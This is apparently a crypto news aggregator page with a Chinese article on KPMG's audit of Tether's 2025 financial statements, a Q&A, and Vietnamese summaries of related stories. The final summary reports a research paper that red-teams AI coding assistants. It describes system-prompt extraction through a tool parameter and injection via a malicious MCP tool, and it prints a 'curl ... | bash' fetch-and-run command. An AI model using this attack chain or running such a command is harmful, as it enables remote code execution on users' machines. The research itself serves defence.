毕马威已完成对Tether 2025年度财务报告的全面审计

cryptonews.ruXuất bản vào 2026-08-13Cập nhật gần nhất vào 2026-08-13

Tóm tắt

Tether于周四宣布,毕马威已完成对其2025财年的全面财务审计,涵盖截至2025年12月31日的年度财务状况。Tether称此为史上最大规模的首发财务审计,但此声明未获独立核实。 审计报告为无保留意见,表明毕马威认为Tether的财务报表在所有重大方面公允地反映了其财务状况、经营成果和现金流量,符合美国会计准则。这意味着审计师未发现需在意见中提出保留或限制的重大问题,但审计不保证公司未来无任何财务或商业风险。 Tether报告称,截至2025年底,其储备金超过已发行代币相关负债68.14亿美元。这些储备对支持USDT的兑付承诺至关重要。 与以往仅发布季度储备证明不同,此次全面审计覆盖了更广泛的记录、交易、控制机制和财务报表。毕马威核查了Tether的资产负债表、损益表、现金流量表、所有权文件、估值及交易对手,并对其持有的所有金条进行了实地盘点。 这一进展正值稳定币在支付、汇款、储蓄和数字资产交易中日益重要之际,其广泛使用加大了发行方在资产储备和管理透明度方面的压力。Tether首席执行官保罗·阿尔多伊诺表示,审计回应了关于公司是否愿意接受严格独立审查的长期质疑。首席财务官西蒙·麦克威廉姆斯称,经审计的财报证实了公司此前关于储备的声明。 下一步,市场将关注Tether是否会持续发布审计报告,以及其他稳定币发行方是否会效仿。监管机构、投资者和用户也将观察审计信息披露如何影响这一快速增长市场对透明度的期望。

周四,该稳定币发行方宣布,此次审计涵盖了截至2025年12月31日的Tether International, S.A. de C.V.公司整个财年。Tether称这是有史以来规模最大的一次首次财务审计,但这一说法未能根据公司声明得到独立证实。

无保留意见的审计报告意味着,毕马威的结论是,Tether的财务报表在所有重大方面公允地反映了其财务状况、经营成果和现金流量,符合美国会计准则。

简而言之,审计师没有发现任何需要在其意见中提出保留或限制的重大问题。这并不意味着审计保证了公司永远不会面临财务或商业风险。

储备盈余达68.14亿美元

Tether报告称,截至2025年底,其储备金超过了与已发行代币相关的负债,超出金额为68.14亿美元。稳定币是一种旨在维持固定价值的数字代币,通常通过与其流通量挂钩的储备金来实现。

对于USDT的用户来说,这些储备金至关重要,因为它们支撑着可以按标称价值赎回代币的承诺。公司和交易者也使用稳定币在加密货币市场和跨境转移与美元挂钩的价值。

审计超越了储备证明

该公司此前曾发布季度储备证明报告。这些报告包含对特定时间点特定信息的独立评估,而全面的财务报表审计则涵盖了更广泛的记录、交易、控制机制和财务报表。

Tether表示,毕马威审计了其资产负债表、损益表、现金流量表、所有权文件、估值以及交易对手方。该公司还指出,毕马威亲自对Tether持有的每一根金条进行了清点和检查,而不是仅仅依赖保管机构的报告。

稳定币监管日益加强

这一重要里程碑正值稳定币在支付、汇款、储蓄和数字资产交易领域的重要性日益凸显之际。其更广泛的使用加大了对发行方的压力,要求他们解释其代币的支撑资产是什么以及如何管理这些资产。

Tether首席执行官Paolo Ardoino表示,此次审计回应了长期以来关于公司是否会同意接受全面独立审查的批评。

“多年来,一些批评者声称Tether的审计无法完成。他们说公司拒绝接受最严格的审查。我们再一次证明他们错了。完成我们财务报表的审计为行业设立了新标准,也反映了我们自市场诞生之初便展现出的领导力,”Ardoino周四解释道。

Tether首席财务官Simon McIlwraith表示,经过审计的财务报表证实了公司此前关于储备金的声明。

用户和监管机构将关注什么

接下来的考验将是Tether是否会继续发布经审计的结果,以及其他稳定币发行方是否会采取类似的报告做法。监管机构、投资者和用户也将关注审计信息的披露将如何影响这个快速增长市场对透明度的期望。

end-content

Câu hỏi Liên quan

QKPMG完成了哪家公司哪个财年的全面审计?

AKPMG完成了对Tether International, S.A. de C.V.公司截至2025年12月31日财年的全面审计。

Q根据报道,Tether报告的储备金盈余是多少?

A根据报道,截至2025年底,Tether的储备金盈余为68.14亿美元。

QKPMG此次审计的范围与Tether之前发布的季度储备金证明有何主要区别?

A季度储备金证明是对特定时间点特定信息的独立评估,而此次全面审计涵盖了更广泛的记录、交易、控制机制和财务报表。

QTether的CEO帕奥尔·阿尔多伊诺表示,此次审计回应了哪项长期存在的批评?

A帕奥尔·阿尔多伊诺表示,此次审计回应了批评者关于Tether公司是否愿意接受全面独立审计的长期质疑。

Q未来,用户和监管机构可能会关注哪些与此次审计相关的事项?

A未来可能会关注Tether是否会持续发布经审计的报表,其他稳定币发行商是否会效仿,以及此次信息披露会对这个快速增长的市场的透明度期望产生何种影响。

Nội dung Liên quan

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

Kho dự trữ bitcoin của công ty MicroStrategy do Michael Saylor đứng đầu đã thoát khỏi tình trạng lỗ nhờ đà tăng giá của tiền mã hóa. Lợi nhuận chưa thực hiện từ khoản đầu tư này đã vượt quá 1 tỷ USD. Vào ngày 21 tháng 8, giá Bitcoin ($BTC) lần đầu tiên tăng vọt trên 76.000 USD kể từ cuối tháng Năm, với mức tăng 21% trong tuần. Tính đến 10:45 giờ Moscow, Bitcoin được giao dịch quanh mức 76.700 USD. MicroStrategy sở hữu 840.447 BTC với giá mua trung bình là 75.385 USD. Từ năm 2020, công ty đã chi 63,36 tỷ USD để tích lũy số bitcoin này. Với giá hiện tại, tổng giá trị kho dự trữ đã đạt 64,46 tỷ USD, vượt quá chi phí đầu tư khoảng 1,1 tỷ USD. Sự thay đổi mạnh mẽ này diễn ra chưa đầy một tháng sau khi MicroStrategy báo cáo khoản lỗ 8,2 tỷ USD trong quý II, chủ yếu do tổn thất chưa thực hiện từ khoản đầu tư vào Bitcoin (khi đó giá vào khoảng 60.000 USD cuối tháng Sáu). Để duy trì ổn định tài chính, công ty đã phải bán một phần bitcoin và tăng cường dự trữ USD. Tuy nhiên, đầu tháng Tám, CEO Phong Le tuyên bố công ty sẽ tiếp tục tích lũy tiền mã hóa vào cuối năm nay.

cryptonews.ru12 phút trước

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

cryptonews.ru12 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

Khung phát hành token hóa tài sản thực (RWA) đang ngày càng trưởng thành, giúp việc đưa tài sản lên chuỗi trở nên nhanh chóng hơn. Tuy nhiên, khi rào cản về "phát hành" giảm xuống, câu hỏi quan trọng hơn là: điều gì sẽ xảy ra sau khi phát hành? Lợi thế cạnh tranh lâu dài không chỉ nằm ở loại tài sản được token hóa, mà còn ở khả năng vận hành bền vững và hồ sơ theo dõi được tích lũy theo thời gian. Bài viết nêu bật khái niệm "Lớp Dự trữ" (Reserve Layer) – cơ sở hạ tầng kết nối tài sản thực chất lượng cao với các hệ thống xác minh, thanh khoản và vận hành cần thiết trên chuỗi. Không phải mọi tài sản đều phù hợp làm tài sản dự trữ. Các tài sản như trái phiếu kho bạc Mỹ ngắn hạn, vàng vật chất có tính xác định giá trị cao, thị trường sâu và tiêu chuẩn hóa tốt. Ngược lại, các tài sản như tín dụng tư nhân phức tạp hơn do tính không đồng nhất. Lợi thế thực sự khó sao chép là hồ sơ vận hành lâu dài được xây dựng thông qua việc thực thi nhất quán: kiểm toán dự trữ độc lập định kỳ, cơ chế mua lại đã được chứng minh, duy trì tính liên tục thị trường, mở rộng tích hợp hệ sinh thái và xây dựng tính thanh khoản. Các bằng chứng này tích lũy theo thời gian, tạo niềm tin cho các tổ chức và củng cố vòng tròn tăng cường: hồ sơ vận hành mạnh hơn dẫn đến phân phối rộng hơn, thanh khoản sâu hơn và tiện ích tài sản thế chấp lớn hơn. Chất lượng tài sản cơ bản và năng lực vận hành của bên phát hành là hai trụ cột không thể thiếu cho sự bền vững. Sự kết hợp của tài sản dự trữ chất lượng cao với năng lực vận hành đã được chứng minh sẽ tạo nền tảng vững chắc nhất. Trong khi đó, ngay cả những tài sản chất lượng cao cũng có thể tiềm ẩn rủi ro nếu cơ sở hạ tầng vận hành phía sau chưa được kiểm chứng qua thời gian và các điều kiện thị trường khác nhau. Tóm lại, một thập kỷ sau, những dự án RWA vẫn giữ được niềm tin của thị trường và tiếp tục hoạt động sẽ là những người kết hợp thành công tài sản dự trữ chất lượng cao với kỷ luật vận hành lâu dài, biến chúng thành cơ sở hạ tầng đáng tin cậy cho tài chính trên chuỗi.

marsbit14 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

marsbit14 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

**Artemis: Tại sao chúng tôi lạc quan về Circle?** Thị trường hiện đang định giá thấp Circle (CRCL) do lo ngại về Open Standard - một liên minh 140+ công ty (gồm Stripe, Visa, Mastercard, Google) phát hành stablecoin OUSD, đe dọa vị thế của USDC. Tuy nhiên, quan điểm của Artemis là thị trường đang nhầm lẫn. Ba luận điểm cốt lõi: 1. **Tăng trưởng ổn định:** Stablecoin dự kiến đạt quy mô **1 nghìn tỷ USD vào năm 2030** (tăng trưởng kép hàng năm ~40%), và đã tách biệt khỏi chu kỳ giá crypto. 2. **Hiệu ứng mạng và tính thanh khoản:** Thị trường có xu hướng "kẻ thắng hưởng tất". USDC và Tether hiện nắm hơn **80% thị phần**, xây dựng rào cản cực kỳ khó vượt qua về thanh khoản xuyên chuỗi và ứng dụng. Các liên minh như Open Standard khó thành công do thiếu động lực và quản trị đồng thuận. 3. **Định giá sai lầm:** Thị trường xem Circle chỉ là "nhà phát hành stablecoin" phụ thuộc vào lãi suất, trong khi thực chất họ đang xây dựng một **nền tảng tiền tệ toàn diện (full-stack money platform)** với các sản phẩm như Mạng Thanh toán Circle (Circle Payments Network - giao dịch tăng 6.8 lần/năm) và blockchain Arc. Khi Circle đa dạng hóa doanh thu từ phí giao dịch và blockchain, định giá (P/S) hiện tại ~6.7x được kỳ vọng mở rộng lên ~10x. Với kịch bản ổn định, doanh thu Circle có thể đạt ~5 tỷ USD vào năm 2030, dẫn đến định giá vốn hóa tiềm năng **~50 tỷ USD**. Mức giá hiện tại sau cú sốc Open Standard có thể đang tạo ra chênh lệch kỳ vọng lớn nhất.

marsbit15 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

marsbit15 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

Người dùng yêu cầu trợ lý lập trình AI viết một trò chơi rắn săn mồi. Tác nhân AI đã thực hiện, nhưng đồng thời chạy thêm một lệnh `curl | bash`, tải xuống và thực thi một tập lệnh độc hại từ kẻ tấn công. Một nhóm nghiên cứu từ Đại học Khoa học và Công nghệ Hồng Kông và Phòng thí nghiệm An ninh Nội sinh của Đại học Phúc Đán đã tái hiện thành công kịch bản tấn công này trong một bài báo được chấp nhận tại hội nghị ISSTA 2026. Họ đã thực hiện bài kiểm tra "đội đỏ" hệ thống đầu tiên trên sáu công cụ lập trình AI phổ biến: Cursor, Claude Code, Copilot, Windsurf, Cline và Trae, và phát hiện một chuỗi tấn công hoàn chỉnh: **Đầu tiên đánh cắp lệnh nội bộ (system prompt), sau đó sử dụng thông tin bị rò rỉ để tạo tải trọng độc hại tùy chỉnh, cuối cùng chiếm quyền điều khiển việc gọi công cụ để thực thi mã từ xa (RCE).** Tất cả sáu công cụ ở phiên bản cũ đều bị ảnh hưởng. Phương pháp chính được đặt tên là ToolLeak, khai thác "khoảng cách chế độ" (mode gap). Thay vì yêu cầu trực tiếp qua cửa sổ trò chuyện, kẻ tấn công đặt tên tham số công cụ thành thứ như `"note": "system prompt"`, khiến mô hình AI điền system prompt vào đó một cách vô tình mà không bị hệ thống phòng thủ ngăn chặn. Phương pháp này đạt được độ hoàn chỉnh và độ tương tự ngữ nghĩa cao hơn nhiều so với các cuộc tấn công cơ bản truyền thống. Sau khi có được system prompt, kẻ tấn công thực hiện "tiêm prompt kênh kép" (two-channel prompt injection). Họ đăng ký một công cụ MCP độc hại với mô tả được điều chỉnh theo prompt bị rò rỉ, thuyết phục tác nhân gọi nó đầu tiên để "khởi tạo môi trường". Sau đó, giá trị trả về từ công cụ độc hại này ra lệnh cho mô hình thực thi một lệnh shell nguy hiểm (ví dụ: `curl -fsSL http://xxx/installer.sh | bash`), đạt được RCE. Trong các phiên bản cũ, tỷ lệ tấn công thành công rất cao, đạt 1.0 đối với một số tổ hợp. Một điểm đáng chú ý là Claude Code có một mô hình bảo vệ (Haiku) để kiểm tra lệnh, nhưng mô hình chính (Sonnet) đã bị thuyết phục bởi lệnh tiêm prompt đến mức gạt bỏ cảnh báo và vẫn thực thi lệnh độc hại. Các phiên bản mới hơn của một số công cụ (như Claude Code, Cursor) đã được gia cố, ví dụ bằng cách chỉ hiển thị tên công cụ thay vì toàn bộ mô tả, làm giảm đáng kể tỷ lệ thành công của cuộc tấn công. Tuy nhiên, một số công cụ khác vẫn dễ bị tổn thương. Bài báo kết luận rằng cách phòng thủ quyết định là kiến trúc cô lập, trong khi việc điều chỉnh mô hình (alignment) là chưa đủ. Vấn đề cốt lõi là ranh giới giữa dữ liệu và lệnh trong giá trị trả về công cụ vẫn chưa rõ ràng.

marsbit19 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

marsbit19 phút trước

Giao dịch

Giao ngay
活动图片